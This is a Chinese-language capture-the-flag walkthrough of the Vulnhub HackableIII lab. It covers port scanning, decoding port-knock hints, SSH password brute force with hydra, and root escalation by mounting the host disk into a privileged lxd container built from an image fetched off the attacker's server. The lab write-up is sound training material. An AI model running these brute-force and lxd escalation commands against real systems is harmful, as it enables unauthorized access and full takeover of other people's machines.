Vulnhub靶场案例渗透[9]- HackableIII

文章目录

  • 一、靶场搭建
    • 1. 靶场描述
    • 2. 下载靶机环境
    • 3. 靶场搭建
  • 二、渗透靶场
    • 1. 确定靶机IP
    • 2. 探测靶场开放端口及对应服务
    • 3. 扫描网络目录结构
    • 4. 敏感数据获取
    • 5. 获取shell
    • 6. 提权
      • 6.1 敏感信息获取
      • 6.2 lxd提权

一、靶场搭建

1. 靶场描述

Focus on general concepts about CTF
Difficulty: Medium
This works better with VirtualBox rather than VMware.

描述:推荐使用virtualBox创建虚拟机,中等难度。

2. 下载靶机环境

靶场源地址点击跳转,点击图中标注处下载靶场源文件。

image.png

下载完成的文件如下:

image.png

一般从网上下载的文件,可以使用检验下载文件的检验码,防止下载的文件被篡改或者部分缺失,对应文件的校验码官方网址会提供。


# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath

3. 靶场搭建

使用VMware打开对应的ova文件创建虚拟机。创建完虚拟机之后,修改对应虚拟机的网络模式为NAT模式,然后点击启动就行。

image.png

image.png

如果你在使用vmware打开虚拟机时,虚拟机一直停在freeing smp alternatives memory:40k无法启动成功,可以尝试进行硬件兼容性,设置对应的为ESXI7.0

二、渗透靶场

1. 确定靶机IP

确定靶机IP的步骤:

  1. 通过nmap进行靶机目标网段(192.168.37.22/24)的存活主机探测。
  2. nmap显示出存活主机之后,根据nmap显示的存活主机的主机名结合已知设备ip排除确定靶机。如果靶机环境设置为nat模式确定靶机ip会比较容易。
# 扫描网段存活主机命令
nmap -sn 192.168.37.129/24

image.png

通过排除网关、kali虚拟机、物理主机ip之后,确定靶机IP为192.168.37.128.

2. 探测靶场开放端口及对应服务

探测端口开放和对应开放端口服务识别,一般使用nmap进行,因为nmap指纹识别比较准确,并且指纹库也比较全。中途重启了电脑,导致靶机ip变成了192.168.37.130

# 探测端口开放及服务识别命令
nmap -Ap 1-65535 192.168.37.130

结果图:
image.png

可以确认主机开放了80,端口对应的是http服务。通过浏览器访问web服务。

image.png

3. 扫描网络目录结构

通过dirsearch扫描对应网站的目录结构,看是否能在其中找到什么敏感文件或目录。

# 扫描目录结构命令
sudo dirsearch -u http://192.168.37.130 -x 404  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

image.png

接下来就是依次访问这些路径。

4. 敏感数据获取

在backup目录获取到一个字典文件wordlist.txt,推测应该是账号或者密码的字典,先使用wget下载到本地。

image.png

看首页的源代码,发现作者的提示信息。从提示中可以得到的信息: 1. 一个用户名jubiscleudo(可和之前的字典文件搭配,可以进行ssh爆破登录).2.靶机设置端口敲门服务。3. 需要关注jpg文件。4. 一个邮件地址。

image.png

知道靶机设定了端口敲门服务,接下来就需要知道敲门的端口序列。第一个位于config/1.txt里面。内容通过了base64编码,通过指定python代码进行解码,得知值为10000

image.png

import base64
import file_util
import sysdef encode_base64(data: bytes) -> str:"""对输入的字节数据进行 Base64 编码。:param data: 要编码的字节数据:return: 编码后的 Base64 字符串"""return base64.b64encode(data).decode('utf-8')def decode_base64(encoded_data: str) -> bytes:"""对输入的 Base64 字符串进行解码。:param encoded_data: Base64 编码的字符串:return: 解码后的字节数据"""return base64.b64decode(encoded_data).decode("utf-8")if __name__ == "__main__":if len(sys.argv) != 2:print("Usage: python *.py filepath")sys.exit(0)file_path = sys.argv[1]content = file_util.get_file_content(file_path)if not content:print("file don't have content")sys.exit(0)print(decode_base64(content.encode("utf-8")))

第二个端口保存在css/2.txt中,通过使用brainfuck进行编码,可以使用以下这段python代码进行解码。得知第二个端口为4444.

import file_util
import sysdef brainfuck_interpreter(code, input_data=""):"""解码:param code: :param input_data: :return: """tape = [0] * 30000  # 初始化 tape,有 30,000 个内存单元pointer = 0  # 指针位置code_pointer = 0  # 代码位置input_pointer = 0  # 输入位置output = []  # 输出结果brackets = []  # 跳转位置的栈while code_pointer < len(code):command = code[code_pointer]if command == ">":pointer += 1elif command == "<":pointer -= 1elif command == "+":tape[pointer] = (tape[pointer] + 1) % 256elif command == "-":tape[pointer] = (tape[pointer] - 1) % 256elif command == ".":output.append(chr(tape[pointer]))elif command == ",":if input_pointer < len(input_data):tape[pointer] = ord(input_data[input_pointer])input_pointer += 1else:tape[pointer] = 0elif command == "[":if tape[pointer] == 0:# 跳到对应的 "]"open_brackets = 1while open_brackets > 0:code_pointer += 1if code[code_pointer] == "[":open_brackets += 1elif code[code_pointer] == "]":open_brackets -= 1else:brackets.append(code_pointer)elif command == "]":if tape[pointer] != 0:code_pointer = brackets[-1]else:brackets.pop()code_pointer += 1return "".join(output)def string_to_brainfuck(input_string):"""编码:param input_string: :return: """code = []current_value = 0  # 当前指针位置的值for char in input_string:target_value = ord(char)diff = target_value - current_value# 使用循环来减少字符if diff > 0:# 找出适当的倍数来创建一个循环num_loops = diff // 10remainder = diff % 10# 循环操作if num_loops > 0:code.append('+' + '[' + '>' + '+' * 10 + '<' + ']' * num_loops)# 剩余的差值if remainder > 0:code.append('+' * remainder)elif diff < 0:# 同样处理负差值num_loops = (-diff) // 10remainder = (-diff) % 10if num_loops > 0:code.append('-' + '[' + '>' + '-' * 10 + '<' + ']' * num_loops)if remainder > 0:code.append('-' * remainder)# 输出当前字符code.append('.')# 更新当前指针位置的值current_value = target_valuereturn ''.join(code)if __name__ == "__main__":if len(sys.argv) != 2:print("Usage: python *.py filepath")sys.exit(0)file_path = sys.argv[1]content = file_util.get_file_content(file_path)if not content:print("file don't have content")sys.exit(0)print(brainfuck_interpreter(content))

第三个端口的保存位置,在3.jpg中,和之前靶机作者的提示呼应上了,是个jpg文件。猜测使用了隐写。首先通过wget把图片下载下来。得知第三个为65535

sudo wget http://192.168.37.130/3.jpg# 查看隐藏的文件信息
steghide info 3.jpg
# 提取内嵌文件
sudo steghide extract  -sf  3.jpg
# 查看文件内容
cat steganopayload148505.txt

image.png

在网页上另外没有找到什么端口信息,接下来直接进行端口敲门。

knock 192.168.37.130 10000 4444 65535

多次敲门之后发现,靶机端口一直不开放,最后登录靶机之后,发现靶机的knockd服务挂了,需要修改。在登录靶机键盘输入有问题,如果你遇到这个问题,可以根据以下命令进行修复。

# 检查键盘布局状态
localectl status
# 设置键盘布局为us
sudo loadkeys us# 修改knocked配置文件,修改为正确的网络接口,对应你敲门的ip的接口
vim /etc/default/knockd
# 启动服务
systemctl start knockd

image.png

修复完这些问题之后,重新进行敲门,发现靶机22端口开放了。

image.png

5. 获取shell

ssh端口开放之后,我们利用之前网站得到的用户名和字典进行ssh爆破登录尝试,使用hydra程序进行。成功爆破出账号和密码。

# -l 指定登录名 -P 指定登录密码字典
hydra -l jubiscleudo -P ./wordlist.txt ssh://192.168.37.130

image.png

image.png

6. 提权

进入目标系统中之后,我个人思路一般就是先从这个地方查看是否存在提权地方

  1. 检查suid文件,并查看对应文件创建者身份。
  2. 检查sudo -l,是否有可利用的点。
  3. 检查/etc/crontab定时任务,并且查看对应文件权限。
  4. 检查/etc/passwd/etc/shadow文件,是否可以进行读取,可以读取就有几率爆破出其它用户的密码。
  5. 检查系统是否存在敏感信息,比如某个用户家目录存储了密码、系统备份文件、查看密码记录等等。
  6. 检查是否存在内核漏洞,可以用来提权的。

6.1 敏感信息获取

在查询系统的备份文件的时候,发现了用户的敏感信息。发现了另一个用户的密码TrOLLED_3

find / -name "*backup*" 2>>/dev/null

image.png

image.png

6.2 lxd提权

切换至hackable_3用户之后,发现这个用户属于lxd组,可以lxd进行提权。

image.png

简单介绍一下lxd提权:

  • lxd(Linux Daemon)是一个轻量级容器管理程序,lxd基于lxc容器技术实现。
  • lxc(Linux Container)是一种轻量级虚拟化技术,它介于Chroot和完整开发的虚拟机之间,LXC可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源。

lxd提权,就是利用lxd创建一个容器,然后把宿主机的磁盘挂载到容器内部,然后用容器的权限去操作宿主机磁盘内容从而提权。

接下来进行具体的提权步骤

# 在攻击机上运行
# 下载 alpine镜像
git clone https://github.com/saghul/lxd-alpine-builder.git
# alpine镜像构建, 比如使用root用户才能执行
cd lxd-alpine-builder   
sudo ./build-alpine
python3 -m http.server 80# 靶机下载对应镜像文件
wget http://192.168.37.22/alpine-v3.13-x86_64-20210218_0139.tar.gz
# 镜像导入
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias test
# 初始化lxd
lxd init
# 配置镜像
lxc init test test -c security.privileged=true
# 挂载磁盘
lxc config device add test test disk source=/ path=/mnt/root recursive=true# 启动容器
lxc start test
# 进入容器后台
lxc exec test /bin/sh
id
# 进入挂载本地根目录对应的容器目录
cd /mnt/root
cd rootcat root.txt

成功获取到最终root目录下的flag文件。

image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/885880.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

生成 Django 中文文档 PDF 版

文章目录 背景克隆 Django 文档和翻译仓库配置 conf.py设置和同步翻译生成 .pot 文件运行 sphinx-intl update复制翻译文件 构建 PDF生成 tex 文件安装 MikTeX生成 PDF Sphinx 生成文档 背景 浏览看到一个帖子&#xff0c;有个评论说可以用 sphinx 构建一个 pdf&#xff0c;正…

关于我、重生到500年前凭借C语言改变世界科技vlog.18——内存函数

文章目录 1. memcpy函数2. memmove函数3. memset函数4. memcmp函数希望读者们多多三连支持小编会继续更新你们的鼓励就是我前进的动力&#xff01; 内存函数是用于 操作内存块的一组函数&#xff0c;它们可以对内存进行复制、移动、设置和比较等操作。这些函数主要在 <str…

SpringCloud篇(注册中心 - Nacos)

目录 一、Nacos安装指南 1. Windows安装 1.1. 下载安装包 1.2. 解压 1.3. 端口配置 1.4. 启动 1.5. 访问 2. Linux安装 2.1. 安装JDK 2.2. 上传安装包 2.3. 解压 2.4. 端口配置 2.5. 启动 3. Nacos的依赖 二、Nacos注册中心的入门使用 1. 认识和安装Nacos 2. 服…

链游系统定制化开发:引领游戏产业的新时代

在数字革命的浪潮中&#xff0c;链游&#xff08;区块链游戏&#xff09;作为一种新兴游戏形式&#xff0c;正重新定义游戏产业的发展方向。链游将区块链技术与传统游戏结合&#xff0c;使游戏体验更加公平透明&#xff0c;并赋予玩家真正的资产所有权。这一领域不仅为玩家带来…

《传统视觉算法在视觉算法中的地位及应用场景

一、引言 在计算机视觉领域的发展历程中&#xff0c;传统视觉算法扮演了至关重要的角色。尽管近年来深度学习算法在视觉任务中取得了巨大的成功&#xff0c;但传统视觉算法依然具有不可替代的地位。传统视觉算法通常基于数学模型和手工设计的特征&#xff0c;具有计算效率高、…

第四十二章 Vue中使用mutations修改Vuex仓库数据

目录 一、mutations修改仓库数据 1.1. 概述 1.2. mutations修改数据基本步骤 1.3. 完整代码 1.3.1. main.js 1.3.2. App.vue 1.3.3. index.js 1.3.4. Son1.vue 1.3.5. Son2.vue 二、mutations传参语法 2.1. mutations传参基本步骤 2.2. 完整代码 2.2.1. index.js …

六通道CAN集线器

六通道CAN集线器 --SG-CanHub-600 功能概述 SG_CanHub_600是一款具有六路通道的工业级智能 CAN数字隔离中继集线器。 SG_CanHub_600能够实现信号再生、延长通信距离、提高总线负载能力、匹配不同速 率 CAN网络&#xff0c;同时强大的 ID过滤功能可以极大降低 CAN总线负荷&a…

学校服务器连接pycharm配置2

上一个可能还是有点问题&#xff0c;因为实际在跑的时候读取的其实是本地的anaconda&#xff0c;这个重新整了一下流程 首先在学校服务器先激活自己创建的虚拟环境&#xff0c;这里就不截图了 然后在pycharm里面打开设置 选择这个python解释器 这里有添加解释器 选择SSH …

LeetCode面试经典150题|228.汇总区间

给定一个 无重复元素 的 有序 整数数组 nums 。 返回 恰好覆盖数组中所有数字 的 最小有序 区间范围列表 。也就是说&#xff0c;nums 的每个元素都恰好被某个区间范围所覆盖&#xff0c;并且不存在属于某个范围但不属于 nums 的数字 x 。 列表中的每个区间范围 [a,b] 应该按…

excel-VLOOKUP函数使用/XVLOOKUP使用

多个窗口同时编辑表格&#xff0c;方便对照操作 使用开始-视图-新建窗口 将战区信息表的三列数据匹配到成交数据表上 可以使用VLOOKUP函数 有4个参数&#xff08;必须要查找的值&#xff0c; 要查找的区域&#xff0c;要返回区域的第几列数据&#xff0c;一个可选参数查找匹…

kafka和Flume的整合

目录 一、Kafka作为Source 【数据进入到kafka中&#xff0c;抽取出来】 1、在我的flume的conf文件夹下&#xff0c;有个myconf文件夹&#xff1a; 2、 创建一个flume脚本文件&#xff1a; kafka-memory-logger.conf 3、测试 二、kafka作为Sink 【数据从别的地方抽取到kafka里…

Jmeter基础篇(22)服务器性能监测工具Nmon的使用

一、前言 我们在日常做压测的过程中&#xff0c;不仅仅需要监控TPS&#xff0c;响应时间&#xff0c;报错率等这些系统基础性能数据&#xff0c;还需要对服务器的性能&#xff08;如CPU、磁盘、内存、网络IO等&#xff09;做监控&#xff0c;以求对系统运行过程中的硬件性能有…

【c++笔试强训】(第六篇)

目录 单词搜索&#xff08;搜索&#xff09; 题目解析 讲解算法原理 编写代码 杨辉三⻆&#xff08;动态规划&#xff09; 题目解析 讲解算法原理 编写代码 单词搜索&#xff08;搜索&#xff09; 题目解析 1.题目链接&#xff1a;单词搜索_牛客题霸_牛客网 2.题目描…

【含开题报告+文档+PPT+源码】基于SpringBoot的奶茶点单系统

开题报告 随着社会经济的发展和人们对生活质量的需求提升&#xff0c;奶茶行业迅速崛起&#xff0c;并成为人们生活不可或缺的一部分。消费者在奶茶店点单通常需要排队等候、填写纸质订单&#xff0c;给消费者和奶茶店带来了一定的不便。因此&#xff0c;设计和实现一个基于 S…

【Android、IOS、Flutter、鸿蒙、ReactNative 】约束布局

Android XML 约束布局 参考 TextView居中 TextView 垂直居中并且靠右 TextView 宽高设置百分比 宽和高的比例 app:layout_constraintDimensionRatio"h,2:1" 表示子视图的宽高比为2:1&#xff0c;其中 h表示保持宽度不变&#xff0c;高度自动调整。 最大宽度 设…

Android 下内联汇编,Android Studio 汇编开发

版权归作者所有&#xff0c;如有转发&#xff0c;请注明文章出处&#xff1a;https://cyrus-studio.github.io/blog/ 内联汇编 Android 内联汇编非常适用于 ARM 架构的性能优化和底层操作&#xff0c;通常用于加密、解密、特定指令优化等领域。 1. 基础语法 内联汇编在 C/C …

安装宝塔 Windows 面板

操作场景 宝塔面板是一款使用很方便、功能强大、交互友好且终身免费的服务器管理软件&#xff0c;支持 Linux 与 Windows 系统。在宝塔面板中&#xff0c;您可以一键配置 LAMP、LNMP、网站、数据库、FTP、SSL&#xff0c;还可以通过 Web 端轻松管理服务器。 本文介绍如何在 W…

Ubuntu 的 ROS 操作系统 turtlebot3 gazebo仿真

引言 TurtleBot3 Gazebo仿真环境是一个非常强大的工具&#xff0c;能够帮助开发者在虚拟环境中测试和验证机器人算法。 Gazebo是一个开源的3D机器人仿真平台&#xff0c;它能支持物理引擎&#xff0c;允许机器人在虚拟环境中模拟和测试。结合ROS&#xff0c;它能提供一个完整的…

「IDE」集成开发环境专栏目录大纲

✨博客主页何曾参静谧的博客&#x1f4cc;文章专栏「IDE」集成开发环境&#x1f4da;全部专栏「Win」Windows程序设计「IDE」集成开发环境「UG/NX」BlockUI集合「C/C」C/C程序设计「DSA」数据结构与算法「UG/NX」NX二次开发「QT」QT5程序设计「File」数据文件格式「UG/NX」NX定…

Lucene 和 Elasticsearch 中更好的二进制量化 (BBQ)

作者&#xff1a;来自 Elastic Benjamin Trent Lucene 和 Elasticsearch 中更好的二进制量化 (BBQ)。 嵌入模型输出 float32 向量&#xff0c;通常对于高效处理和实际应用来说太大。Elasticsearch 支持 int8 标量量化&#xff0c;以减小向量大小&#xff0c;同时保持性能。其他…